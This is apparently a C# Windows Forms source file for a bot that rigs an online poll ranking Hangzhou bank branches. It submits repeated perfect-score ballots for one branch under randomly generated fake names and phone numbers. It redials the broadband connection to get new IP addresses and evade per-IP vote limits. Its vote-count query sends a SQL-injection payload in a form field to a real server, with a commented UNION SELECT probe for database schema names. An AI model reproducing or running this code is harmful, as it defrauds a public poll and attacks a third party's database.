﻿using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using VoteUphold;
using System.IO;
using System.Threading;
using System.Net;
using System.Json;

namespace HangZhouBank
{
    public partial class FrmMain : Form
    {
        public FrmMain()
        {
            InitializeComponent();
        }
        /// <summary>
        /// 请求
        /// </summary>
        private HttpClient httpClient;
        IRandData iRandData;
        private bool IsStop = false;

        /// <summary>
        /// 是否重新加载验证码
        /// </summary>
        private bool isReloadVaildateImageCode = true;

        private int seqNum = 0;

        private string adressVote = "http://122.224.128.89/bank/branch.php?id=45";
        private string adressPost = "http://122.224.215.11/bank/branch_vote.php";
        private string 登陆验证码地址 = "http://122.224.215.11/bank/seccode.php?r=0.07182541707205486";
        private string 获取总票数地址 = "http://122.224.128.89/bank/voteCount.php";
        private string DefaultStopSecod = "0~0";

        private void FrmMain_Load(object sender, EventArgs e)
        {
            this.Text = "首届杭州文明服务百优银行网点评选";
            this.SetText("欢迎~~~~~~~~~~~~~. ");
            this.txtStopSecond.Text = DefaultStopSecod;
            this.SetText("须知:1.间隔时间默认为" + DefaultStopSecod + "秒,既 随机生成此时间之间的一个数,暂停此时长投票. 0~0代表无暂停.2. 1分钟刷新一次总票数.");
            
            httpClient = new HttpClient(new Uri(adressVote));
           // httpClient.Encoding = Encoding.GetEncoding("gb2312");
            iRandData = RandData.GetInstance();
            ThreadPool.QueueUserWorkItem(new WaitCallback(YuLoad));
            Thread thread = new Thread(new ThreadStart(GetSumNum));
            thread.IsBackground = true;
            thread.Start();
            
        }

        private void btnStart_Click(object sender, EventArgs e)
        {
            //StartVote();
            this.IsStop = false;
            Thread thread = new Thread(new ThreadStart(LoopVote));
            thread.IsBackground = true;
            thread.Start();
        }
        
        /// <summary>
        /// 预 加载
        /// </summary>
        private void YuLoad(object o)
        {
            this.SetName(iRandData.GetName());
            this.SetTel(iRandData.GetTelphone("0571"));
            this.StartLoadValidateImage();
        }

        /// <summary>
        /// 循环 投
        /// </summary>
        private void LoopVote()
        {
            while (!IsStop)
            {
                StartVote();

                if (this.isReloadVaildateImageCode)
                {
                    httpClient = new HttpClient(new Uri(adressVote));
                    this.SetTxtCodeText(string.Empty);//清空
                    this.StartLoadValidateImage();
                    this.IsStop = true;
                }

            }
            //this.SetText("投票已经停止....");
        }

        /// <summary>
        /// 开启 获取总数的线程。
        /// </summary>
        private void GetSumNum()
        {
            while (true)
            {
                if (!this.IsStop)
                {
                    StartGetVoteSumNum();
                }
                Thread.Sleep(60000);
            }
        
        }

        // <br>亲，验证码错误了
        //<br>评选结果已经成功提交，感谢您的参与
        //br>亲，您今天已经投过票了
        //<br>MYSQL ERROR\
        //<br>请填写姓名
        //<br>亲，请重新提交
        //branch_id=45&t1=9&t1_reason=&t2=9&t2_reason=&t3=10&t3_reason=&t4=9&t4_reason=&t5=9&t5_reason=&t6=10&t6_reason=&t7=9&t7_reason=&t8=9&t8_reason=&t9=9&t9_reason=&t10=9&t10_reason=&extra1=5&extra2=5&extra3=5&extra4=&name=%E7%8E%8B%E9%A3%9E&tel=13798433670&seccode=frmx&x=62&y=15
        private void StartVote()
        {
             
            SetBtnStartEnabled(false);//禁用开始按钮
           StopSecond ss= VoteUphold.StopSecond.GetStopSecond("0~3", this.txtStopSecond.Text.Trim(), "~");
           int sleep=iRandData.GetSleepSeconds(ss.MinStopSecond, ss.MaxStopSecond+1);
           if (sleep > 0)
           {
               this.SetText("程序累了,休息" + sleep + "秒钟");
               Thread.Sleep(sleep * 1000);
           }
            //iRandData

           // httpClient = new HttpClient(new Uri(adressVote));
            IList<KeyValue> list = new List<KeyValue>();
            list.Add(new KeyValue() { Key = "branch_id", Value = "45" });
            list.Add(new KeyValue() { Key = "t1", Value = Score(null) });
            list.Add(new KeyValue() { Key = "t1_reason", Value = "" });
            list.Add(new KeyValue() { Key = "t2", Value = Score(null) });
            list.Add(new KeyValue() { Key = "t2_reason", Value = "" });
            list.Add(new KeyValue() { Key = "t3", Value = Score(null) });
            list.Add(new KeyValue() { Key = "t3_reason", Value = "" });
            list.Add(new KeyValue() { Key = "t4", Value = Score(null) });
            list.Add(new KeyValue() { Key = "t4_reason", Value = "" });
            list.Add(new KeyValue() { Key = "t5", Value = Score(null) });
            list.Add(new KeyValue() { Key = "t5_reason", Value = "" });
            list.Add(new KeyValue() { Key = "t6", Value = Score(null) });
            list.Add(new KeyValue() { Key = "t6_reason", Value = "" });
            list.Add(new KeyValue() { Key = "t7", Value = Score(null) });
            list.Add(new KeyValue() { Key = "t7_reason", Value = "" });
            list.Add(new KeyValue() { Key = "t8", Value = Score(null) });
            list.Add(new KeyValue() { Key = "t8_reason", Value = "" });
            list.Add(new KeyValue() { Key = "t9", Value = Score(null) });
            list.Add(new KeyValue() { Key = "t9_reason", Value = "" });
            list.Add(new KeyValue() { Key = "t10", Value = Score(null) });
            list.Add(new KeyValue() { Key = "t10_reason", Value = "" });
            list.Add(new KeyValue() { Key = "extra1", Value = "5" });
            list.Add(new KeyValue() { Key = "extra2", Value = "5" });
            list.Add(new KeyValue() { Key = "extra3", Value = "5" });
            list.Add(new KeyValue() { Key = "extra4", Value = "" });
            list.Add(new KeyValue() { Key = "name", Value = this.txtName.Text });
            list.Add(new KeyValue() { Key = "tel", Value = this.txtTel.Text });
            list.Add(new KeyValue() { Key = "seccode", Value = this.txtCode.Text });
            list.Add(new KeyValue() { Key = "x", Value = "62" });
            list.Add(new KeyValue() { Key = "y", Value = "15" });

            PostData pd = new PostData();
            string postDataStr = pd.ToString(list);
            try
            {
                //<br>评选结果已经成功提交，感谢您的参与
                //br>亲，您今天已经投过票了
                //<br>亲，您的ip今天投了太多票，请明天再投
                string result = "";// httpClient.PostData(adressPost, postDataStr, Encoding.UTF8, Encoding.UTF8);
                while (!httpClient.IsBusy)
                {
                    result = httpClient.PostData(adressPost, postDataStr, Encoding.UTF8, Encoding.UTF8);
                    break;
                }
                if (result.Contains("<br>评选结果已经成功提交，感谢您的参与"))
                {
                    this.SetText("评选结果已经成功提交，感谢您的参与");
                }
                else if (result.Contains("亲，您的ip今天投了太多票，请明天再投"))
                {
                    this.SetText("亲，您的ip今天投了太多票，请明天再投 ):):):):):):):):):):");
                    SetChangeIp(true);
                }
                else if (result.Contains("br>亲，您今天已经投过票了"))
                {
                    this.SetText("亲，您今天已经投过票了.):):):):):):):):):):");
                    SetChangeIp(true);
                }
                else if (result.Contains("<br>亲，验证码错误了"))
                {
                    this.SetText("亲，验证码错误了):):):):):):):):):):");
                }
                else if (result.Contains("<br>MYSQL ERROR"))
                {
                    this.SetText("MySQL Error):):):):):):):):):):");
                    this.ThreadSleep(5000, "程序累了,休息5秒.");
                }
                else if (result.Contains("<br>亲，请重新提交"))
                {
                    this.SetText("亲，请重新提交):):):):):):):):):):");
                }
                else
                {
                    this.SetText("未知错误...." + result);
                }
            }
            catch (Exception ex)
            {
                this.SetText("出错了..." + ex.Message+httpClient.IsBusy);
                //this.ThreadSleep(5000, "程序累了,休息5秒.");
            }

            try
            {
                if (this.cbChangeIp.Checked)
                {
                    this.Connect();
                    SetChangeIp(false);
                }
            }
            catch (Exception ex)
            {
                this.SetTel("error:宽带连接错误"+ex.Message);
                this.ThreadSleep(2000, "程序累了,休息2秒.");
            }
            this.SetName(iRandData.GetName());
            this.SetTel(iRandData.GetTelphone());
            SetBtnStartEnabled(true);//禁用开始按钮

        }


         /// <summary>
        /// 获取 投票得分
         /// </summary>
         /// <param name="second"></param>
         /// <returns></returns>
        private string Score(string second)
        {
            return "10";
        }
        private void btnCancel_Click(object sender, EventArgs e)
        {
            if (this.IsStop==false)
            {
                this.SetText("正在停止投票中.....请稍候");
            }
            this.IsStop = true;
        }
        /// <summary>
        /// 刷新获取 总票数
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void btnGetSumNum_Click(object sender, EventArgs e)
        {
            ThreadPool.QueueUserWorkItem(new WaitCallback(StartGetVoteSumNumObjcet));
        }
        private void StartGetVoteSumNumObjcet(object o) { StartGetVoteSumNum(); }

        /// <summary>
        /// 开始 获取总票数
        /// </summary>
        private void StartGetVoteSumNum()
        {
            string sumNum= GetVoteNums();
            this.SetText("杭州联合银行九堡支行营业场总票数:"+sumNum);
            this.SetSumNum(sumNum);
        }


        //"{\"status\":\"success\",\"tuples\":[{\"cnt\":\"2179\",\"branch_id\":\"39\"},{\"cnt\":\"6911\",\"branch_id\":\"41\"},{\"cnt\":\"16063\",\"branch_id\":\"43\"},{\"cnt\":\"61227\",\"branch_id\":\"45\"},{\"cnt\":\"6761\",\"branch_id\":\"46\"},{\"cnt\":\"17061\",\"branch_id\":\"47\"},{\"cnt\":\"12432\",\"branch_id\":\"48\"},{\"cnt\":\"7939\",\"branch_id\":\"49\"},{\"cnt\":\"1022\",\"branch_id\":\"50\"},{\"cnt\":\"2281\",\"branch_id\":\"51\"}]}"
        /// <summary>
        /// 获取 总票数
        /// </summary>
        /// <returns></returns>
        private string GetVoteNums()
        {
            //return "";
            string result =null;
            string srcString = null;
            try
            {
                HttpClient hc = new HttpClient(new Uri(adressVote));
                    //union select session_user(),group_concat(schema_name) from information_schema.schemata
                srcString = hc.PostData(获取总票数地址, "branch_id=39,41,43,45,46,47,48,49,50,51) group by branch_id  # ", Encoding.UTF8, Encoding.UTF8);
                srcString = srcString.Replace("\\\"", "\"").TrimStart('\"').TrimEnd('\"');
                
                JsonObject jsonObject = (JsonObject)JsonValue.Parse(srcString);
                foreach (JsonObject item in jsonObject["tuples"])
                {
                    string branch_id= item["branch_id"].ToString();
                    if (branch_id == "\"45\"")
                    {
                        result = item["cnt"].ToString().TrimStart('\"').TrimEnd('\"');
                        break;
                    }
                    
                }
                
            }
            catch (Exception ex)
            {
                this.SetText("error获取总票数出错.." + ex.Message + "|" + srcString);
            }
            return result;
        }



        #region 加载 登陆验证码地址

        //加载验证码
        private void pictureBox1_Click(object sender, EventArgs e)
        {
            this.StartLoadValidateImage();
        }

        /// <summary>
        /// 开始加载验证码
        /// </summary>
        private void StartLoadValidateImage()
        {
            LoadLoginValidateImage(登陆验证码地址, this.pictureBox1, "png");
        }

        /// <summary>
        /// 加载 登陆验证码地址
        /// </summary>
        private void LoadLoginValidateImage(string url, PictureBox pb, string suffixName)
        {
            try
            {
                this.SetText("开始加载验证码...");
                string tempImageName = "szz." + suffixName;
                if (File.Exists(tempImageName))
                {
                    File.Delete(tempImageName);
                }
                httpClient.DownloadFile(new Uri(url), tempImageName);
                //FileInfo fi = new FileInfo(tempImageName);
                //if (fi != null)
                //{
                //    fi.Attributes = FileAttributes.Hidden;
                //}
                pb.LoadAsync(tempImageName);
                
                this.SetText("加载验证码完成.");
            }
            catch (Exception ex)
            {
                this.SetText("加载验证码失败:" + ex.Message);
            }

        }
        #endregion

        /// <summary>
        /// 宽带连接
        /// </summary>
        private void Connect()
        {
            try
            {
                RASDisplay ras = new RASDisplay();
                ras.Disconnect();//断开连接
                int connect = ras.Connect("宽带连接");//重新拨号
                this.SetText("执行连接方法!");
                Uri uriString = new Uri("http://www.baidu.com/");
                byte[] responseData = httpClient.DownloadData(uriString);
            }
            catch (Exception e)
            {
                this.SetText("宽带连接错误," + e.Message);
            }

        }

        /// <summary>
        /// 线程休息..
        /// </summary>
        /// <param name="millisecondsTimeout"></param>
        private void ThreadSleep(int millisecondsTimeout, string outPutMessage)
        {
            this.SetText(outPutMessage);
            Thread.Sleep(millisecondsTimeout);
        }

        //给值
        /// <summary>
        ///  给值
        /// </summary>
        /// <param name="text"></param>
        private void SetText(string text)
        {
            if (this.rtbResult.InvokeRequired)
            {
                Action<string> set = new Action<string>(SetText);
                this.Invoke(set, text);
            }
            else
            {
                this.rtbResult.AppendText(string.Format("{0}.\t{1}\t{2} {3}", (++seqNum), DateTime.Now, text, Environment.NewLine));
                if (seqNum % 500 == 0)
                {
                    VoteLog.AddResult("iwtfly.feiazi", this.rtbResult.Text);
                    this.rtbResult.Clear();
                   // this.IsStop = true;
                    //MessageBox.Show("到期了...");
                    //Application.Exit();
                }
                this.rtbResult.ScrollToCaret();

            }
        }

        /// <summary>
        /// 总票数赋值..
        /// </summary>
        /// <param name="text"></param>
        private void SetSumNum(string text)
        {
            if (this.txtSumNum.InvokeRequired)
            {
                Action<string> set = new Action<string>(SetSumNum);
                this.Invoke(set, text);
            }
            else
            {
                this.txtSumNum.Text = text;
            }
        }

        /// <summary>
        /// 禁用或启用 开始按钮
        /// </summary>
        /// <param name="b"></param>
        private void SetBtnStartEnabled(bool enabled)
        {
            if (this.btnStart.InvokeRequired)
            {
                Action<bool> set = new Action<bool>(SetBtnStartEnabled);
                this.Invoke(set, enabled);
            }
            else
            {
                this.btnStart.Enabled = enabled;
            }
        }

        /// <summary>
        /// 给 是否换IP给值
        /// </summary>
        /// <param name="changeIp"></param>
        private void SetChangeIp(bool cbkChecked)
        {
            if (this.cbChangeIp.InvokeRequired)
            {
                Action<bool> set = new Action<bool>(SetChangeIp);
                this.Invoke(set, cbkChecked);
            }
            else
            {
                this.cbChangeIp.Checked = cbkChecked;
            }
        }

        /// <summary>
        /// 禁用或启用 验证码输入框
        /// </summary>
        /// <param name="b"></param>
        private void SetTxtCodeEnabled(bool enabled)
        {
            if (this.txtCode.InvokeRequired)
            {
                Action<bool> set = new Action<bool>(SetTxtCodeEnabled);
                this.Invoke(set, enabled);
            }
            else
            {
                this.txtCode.Enabled = enabled;
            }
        }


        /// <summary>
        /// 给 验证码输入框 赋值
        /// </summary>
        /// <param name="b"></param>
        private void SetTxtCodeText(string text)
        {
            if (this.txtCode.InvokeRequired)
            {
                Action<string> set = new Action<string>(SetTxtCodeText);
                this.Invoke(set, text);
            }
            else
            {
                this.txtCode.Text = text;
            }
        }

        /// <summary>
        /// 姓名 赋值
        /// </summary>
        /// <param name="text"></param>
        private void SetName(string text)
        {
            if (this.txtName.InvokeRequired)
            {
                Action<string> set = new Action<string>(SetName);
                this.Invoke(set, text);
            }
            else
            {
                this.txtName.Text = text;
            }
        }

        /// <summary>
        /// 姓名 赋值
        /// </summary>
        /// <param name="text"></param>
        private void SetTel(string text)
        {
            if (this.txtTel.InvokeRequired)
            {
                Action<string> set = new Action<string>(SetTel);
                this.Invoke(set, text);
            }
            else
            {
                this.txtTel.Text = text;
            }
        }

        private void FrmMain_FormClosing(object sender, FormClosingEventArgs e)
        {
            VoteLog.AddResult("iwtfly.feiazi", this.rtbResult.Text);
        }
    }
}
